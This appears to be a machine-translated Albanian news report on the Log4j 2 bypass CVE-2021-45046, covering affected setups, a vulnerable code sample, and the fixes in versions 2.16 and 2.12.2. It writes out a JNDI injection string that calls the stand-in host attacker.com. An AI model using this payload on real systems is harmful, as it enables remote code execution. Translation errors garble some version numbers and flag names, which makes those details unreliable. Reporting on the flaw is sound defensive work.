Një opsion i ri sulmi për Log4j 2 që ju lejon të anashkaloni mbrojtjen e shtuar

Një dobësi tjetër është identifikuar në zbatimin e kërkimeve JNDI në bibliotekën Log4j 2 (CVE-2021-45046), e cila shfaqet pavarësisht rregullimeve të shtuara në versionin 2.15 dhe pavarësisht nga përdorimi i cilësimit "log4j2.noFormatMsgLookup" për mbrojtje. Problemi është i rrezikshëm kryesisht për versionet më të vjetra të Log4j 2, të mbrojtura duke përdorur flamurin "noFormatMsgLookup", pasi bën të mundur anashkalimin e mbrojtjes nga dobësitë e mëparshme (Log4Shell, CVE-2021-44228), i cili ju lejon të ekzekutoni kodin tuaj në server. Për përdoruesit e versionit 2.15, shfrytëzimi është i kufizuar në shkaktimin e dështimit të aplikacionit për shkak të shterimit të burimeve të disponueshme.

Dobësia shfaqet vetëm në sistemet që përdorin "Kërkimet e kontekstit" për regjistrim, si p.sh. ${ctx:loginId} ose shabllonet MDC (Harta e kontekstit të temave), të tilla si %X, %mdc dhe %MDC. Operacioni vjen në krijimin e kushteve për nxjerrjen e të dhënave që përmbajnë zëvendësime JNDI në regjistër kur përdoren pyetjet e kontekstit ose shabllonet MDC në aplikacion që përcaktojnë rregullat për formatimin e daljes në regjistër.

Studiuesit nga LunaSec vunë re se për versionet e Log4j më pak se 2.15, kjo dobësi mund të përdoret si një vektor i ri për një sulm Log4Shell, duke çuar në ekzekutimin e kodit, nëse shprehjet ThreadContext që përfshijnë të dhëna të jashtme përdoren në daljen e regjistrit, pavarësisht nëse Flamuri "protect" është aktivizuar. noMsgFormatLookups" ose shabllonin "%m{nolookups}".

Një opsion i ri sulmi për Log4j 2 që ju lejon të anashkaloni mbrojtjen e shtuar

Anashkalimi i mbrojtjes zbret në faktin se në vend të zëvendësimit të drejtpërdrejtë të "${jndi:ldap://attacker.com/a}", kjo shprehje zëvendësohet përmes vlerës së një ndryshoreje të ndërmjetme të përdorur në rregullat për formatimin e daljes së regjistrit. . Për shembull, nëse pyetja e kontekstit ${ctx:apiversion} përdoret kur jepet në regjistër, atëherë sulmi mund të kryhet duke zëvendësuar të dhënat "${jndi:ldap://attacker.com/a}" në vlera e shkruar në variablin apiversion. Shembull i kodit të cenueshëm: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") indeksi publik i vargut(@RequestHeader("X-Api-Version") String apiVersion) { // Vlera e titullit HTTP "X-Api-Version" i kalohet ThreadContext ThreadContext.put("apiversion ", apiVersion); // Gjatë regjistrimit, vlera e apiversionit të jashtëm do të përpunohet duke përdorur zëvendësimin ${ctx:apiversion} logger.info("Ka marrë një kërkesë për versionin e API"); kthehu "Përshëndetje, botë!"; }

Në versionin 4 Log2.15j, dobësia mund të përdoret për të kryer sulme DoS kur kalon vlera në ThreadContext, duke rezultuar në një lak në përpunimin e shabllonit të formatimit të daljes.

Një opsion i ri sulmi për Log4j 2 që ju lejon të anashkaloni mbrojtjen e shtuar

Për të bllokuar cenueshmërinë, u publikuan përditësimet 2.16 dhe 2.12.2. Në degën Log4j 2.16, përveç rregullimeve të zbatuara në versionin 2.15 dhe lidhjes së kërkesave të JNDI LDAP me "localhost", funksionaliteti JNDI është plotësisht i çaktivizuar si parazgjedhje dhe mbështetja për shabllonet e zëvendësimit të mesazheve hiqet. Si një zgjidhje sigurie, sugjerohet të hiqet klasa JndiLookup nga rruga e klasës (për shembull, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Mund të gjurmoni paraqitjen e rregullimeve në paketa në faqet e shpërndarjeve (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) dhe prodhuesit e platformave Java (GitHub, Docker, Oracle, vmWare, Broadcom dhe Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etj.).

Burimi: opennet.ru

Shto një koment